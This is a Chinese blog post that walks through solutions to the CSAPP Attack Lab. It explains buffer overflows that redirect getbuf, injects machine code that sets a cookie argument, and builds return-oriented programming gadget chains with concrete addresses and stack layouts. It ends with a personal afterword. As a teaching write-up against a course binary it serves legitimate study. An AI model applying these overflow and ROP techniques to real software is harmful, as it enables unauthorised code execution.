CSAPP Attack Lab 題解
前言
閱讀此篇題解需要有CSAPP第三章基礎,對於基本匯編指令本文不做過多說明。嘗試Lab前應先下載官方提供的Writeup並在開始每一階段前閱讀相應內容,否則容易一頭霧水。
注意,因為我們是在本地運行Lab,所以運行程序時要加上參數-q
,告訴程序不上數據傳到伺服器,否則無法運行。
筆者學識稍淺,若有疏漏或錯誤處,歡迎各位大佬指正。
Phase_1
文檔給了test
函數的C代碼:
1 | void test() |
還給了touch1
函數的代碼:
1 | void touch1() |
題目要求當getbuf
返回時不返回到下一行的printf
,而是跳轉到touch1
運行。
首先查看getbuf
的反彙編代碼:
1 | 00000000004017a8 <getbuf>: |
0x4017a8
處指令開闢了大小0x28 = 40
(字節)的棧空間,然後將棧頂作為參數(%rdi
)傳給Gets
函數。
我們需要在輸入時輸入48字節的內容讓棧溢出,使返回地址被覆蓋為touch1
的內存地址。
1 | 00000000004017c0 <touch1>: |
查看代碼我們可以發先touch1
首行指令在地址0x4017c0
處,這是我們想讓代碼從getbuf
返回的地址。(注意,因為機器採小端序,在輸入時應輸入C0 17 40 00
)
由此,我們可以構建出shellcode:
1 | 00 00 00 00 00 00 00 00 |
我們將這段內容保存在檔案phase_1
中,然後使用lab提供的工具hex2raw
將其轉換成程序接受的string
類型。
注意,運行ctarget
前要加上-q
,防止因為程序連接不上伺服器而報錯。
1 | ./hex2raw < phase_1 | ./ctarget -q |
Phase_2
查看文檔,發現給出的touch2
函數要求傳入一個無符號數,並檢查該輸入是否與cookie
相等。
1 | void touch2(unsigned val) { |
1 | 00000000004017ec <touch2>: |
首先查看代碼可以知道touch2
函數開頭地址為0x4017ec
。在Lab文件夾內有一個文件叫cookie.txt
,裡面存放著我們需要的cookie
值。
因為我們要將cookie
值傳給touch2
,回想CSAPP第三章內容可以知道,函數的第一個參數存放在%rdi
中。所以我們需要執行以下代碼:
1 | movq $0x59b997fa, %rdi |
然後我們要調用touch2
函數,即0x4017ec
地址處。這裡我們不使用call
或jmp
而使用ret
,因為偏移不好計算。注意,ret
指令會跳轉到棧頂保存的地址,並將該地址出棧(pop
)。
1 | pushq $0x4017ec |
將三行彙編代碼結合在一起,就成功達成調用函數的功能了。我們將這段代碼保存在phase_2_asm.s
中,然後使用指令:
1 | gcc -c phase_2_asm.s |
打開phase_2_asm.asm,可以發現對應的機器代碼。
1 | phase_2_asm.o: file format elf64-x86-64 |
即:
1 | 48 c7 c7 fa 97 b9 59 68 |
有這些還不夠,因為這些數據在輸入後會被儲存在棧中,所以會被視為數據而非代碼的一部份。所以我們利用棧溢出將棧中原本的儲存地址覆蓋成棧頂(用戶輸入數據的存儲起始點)的位置,即可讓該段代碼被值行。(即將%rip
設置為%rsp
)
通過gdb查看,我們可以發現用戶輸入數據的存儲起始點在0x5561dc78
處。
利用0填充空間後,我們可以構建出shellcode並將其保存在phase_2中:
1 | 48 c7 c7 fa 97 b9 59 68 |
利用以下代碼驗證其正確性:
1 | ./hex2raw < phase_2 | ./ctarget -q |
Phase_3
查看文檔,發現這題需要給hexmatch
函數傳入一個等於cookie
的字符串,其中字符串應傳入首字符的地址(char *
)。
1 | int hexmatch(unsigned val, char *sval) { |
1 | void touch3(char *sval) { |
首先查看touch3
的地址:0x4018fa
。cookie
的值在phase_2
就找到過了:0x59b997fa
。文檔中說明傳入的cookie
字符串不應包含前綴的0x
,所以實際要傳入的字符串應為:59b997fa
。
注意,通過查看文檔,我們可以發現一句話:”When functions hexmatch
and strncmp
are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf
. As a result, you will need to be careful where you place the string representation of your cookie. “。即當hexmatch
和strncmp
被調用時會將數據入棧,可能會覆蓋getbuf
的部分內容,需要小心選擇字符串儲存地址。
意即避免將字符串存放在getbuf
的棧幀內,故此我們選擇將其存放在test
的棧幀內。
查看test
的棧底:0x5561dca8
。
參考phase_2
我們可以編寫出以下彙編代碼,並將其轉換為機器代碼:
1 | 0000000000000000 <.text>: |
到目前為止,我們可以寫出以下與phase_2
雷同的shellcode:
1 | 48 c7 c7 a8 dc 61 55 68 |
由於我們的字符串應儲存在0x5561dca8
,而儲存我們輸入的首地址在0x5561dc78
,所以我們應該給輸入的最後一行填充0並在下一行處填入cookie
字符串。
回想字符串如何儲存:利用ASCII表示字符。
將cookie
轉換為ASCII碼後為:35 39 62 39 39 37 66 61
至此,我們的shellcode就構建出來了:
1 | 48 c7 c7 a8 dc 61 55 68 |
創建文件phase_3
並將shellcode存放在該的文件中,測試:
Return-Oriented Programming 概念補充
下個階段不能使用前三個階段的代碼注入(Code Injection)技術,因為:
- 使用地址隨機化技術,導致每次運行時棧的地址都不同,使得難以定位注入的代碼。
- 將棧的內存設置為不可執行,所以就算可以將PC設置為注入代碼的地址,程序也會返回segmentation fault。
故,下兩階段會用到ROP知識(Return-Oriented Programming)。
ROP使用的概念是找出程序中的特殊幾個字節,即我們想要執行的代碼與ret
,我們稱這種片段gadget(ret
指令用來跳轉到下一個gadget)。
上圖說明了如何在棧中設置並執行一連串的gadget,其中0xc3
表示指令ret
。當每個gadget運行到ret
時,會從棧頂取出下一個gadget的地址並執行,使得整個gadget鏈被完整執行。
用以下例子舉例:
1 | void setval_210 (unsigned *p) { |
1 | 0000000000400f15 <setval_210>: |
字節序列48 89 c7
就可以組成指令movq %rax, %rdi
,並且這個序列最後還跟隨了一個c3
,也就是ret
。我們的目標序列在地址0x400f18
處,所以如果直接跳轉到0x400f18
處就可以執行我們想要執行的指令。
Phase_4
此題與phase_2雷同,只是開啟了保護。因為無法在棧上執行代碼,所以我們使用ROP。
在此我們想使用gadget實現以下功能:
1 | movq $0x59b997fa, %rdi |
但是顯然gadget中不會包含我們需要的立即數(如:0x59b997fa
)。換個思路,我們可以將數據存放在棧中,然後使用popq
取得數值。搜尋popq %rdi
對應的機器代碼5f
,發現無法在有效區內找到。我們換個思路,可以嘗試用一個中轉寄存器儲存這個值:
1 | gadget1: |
查看上圖可發現,對應機器代碼為:58 c3
與48 89 c7 c3
。通過搜索我們可以找到以下兩個函數:
1 | 00000000004019ca <getval_280>: |
1 | 00000000004019a0 <addval_273>: |
通過在0x4019cc
截斷第一個函數可以構成gadget1
(90
為nop
,即no operation),在0x4019a2
截斷第二個函數可以構成gadget2
。
理想狀態下,我們期望棧的狀態如下:
1 | ---- Stack ---- |
當getbuf
執行ret
後,會跳轉到gadget1
並將其地址出棧。
這時gadget1
中的pop
就會將cookie值從棧頂取出,然後跳轉到gadget2
繼續執行。
故此,我們可以構建出以下shellcode,並保存在phase_4中:
1 | 00 00 00 00 00 00 00 00 |
驗證正確性:
Phase_5
終於到這個階段了,可以先休息一波。官方文檔還溫馨提示我們:已經得到了95/100的分數,這是一個很棒的分數了。如果大家有甚麼其他更重要的事情可以先放下這個lab去做啦!因為這個階段只佔可憐的5分,不值得我們耗費這麼多時間去解答它,除非我們將它視為額外的挑戰任務,想要超越這門課程對普通學生的期待程度。
既然如此,各位看官若是手頭上有其他事情要做,就可以關閉這份題解啦!否則,我們還有路要走喔。
因為地址隨機,所以想要獲取字符串的儲存地址應該使用%rsp + <bias>
的形式取得。
我們想要實現以下功能:
1 | mov %rsp, %rax |
但是尋找後發現沒有add
的機器碼,我們可以使用另一個函數代替。
1 | 00000000004019d6 <add_xy>: |
因為某些mov
指令的源或目標寄存器的機器碼不存在程序中,所以我們需要通過一些過渡寄存器來傳遞這些值。相信各位在經歷phase 4後,已經可以獨立尋找到相應的機器碼地址。此處便不再重述,直接給出棧的樣子 (省略各gadget的ret
指令)。
1 | ---- Stack ---- |
注意此處偏移量的計算:執行mov %rsp, %rax
時,%rsp
其實正指向存放mov %rax, %rdi
的棧內存。回憶ret
指令相等於以下兩條指令pop %rsp
+ jmp %rsp
,所以執行第一個gadget時,%rsp
正指向第二個gadget的內存地址。從第二個gadget算起,到cookie字符串儲存的地址,中間隔了9個8字節的大小,所以偏移量為$8 \times 9 = 72 (0x48)$。
以上,可以構建出shellcode:
1 | 00 00 00 00 00 00 00 00 |
驗證正確性:
至此,五個階段全部完結。
後記
終於完結此篇題解,時間拖得有些久,因為進入大學的準備忙得焦頭爛額。最近才知道錄取的是專業大類且沒法依個人意願自由分流,也就是說進入學校後還需二次分流,筆者很難依意願進入喜愛的計算機了。正考慮繼續就讀本地大學或申請國外大學兩條路,若選擇繼續就讀本地大學,以後更新頻率可能會創下新低,只能使用課餘時間研究。等於回到高中時期,既要顧課業也要顧興趣。最近也要為分流考試準備,預習數學與刷題,可能更新頻率也不會太高。
最後,謝謝你願意看我的後記碎碎念。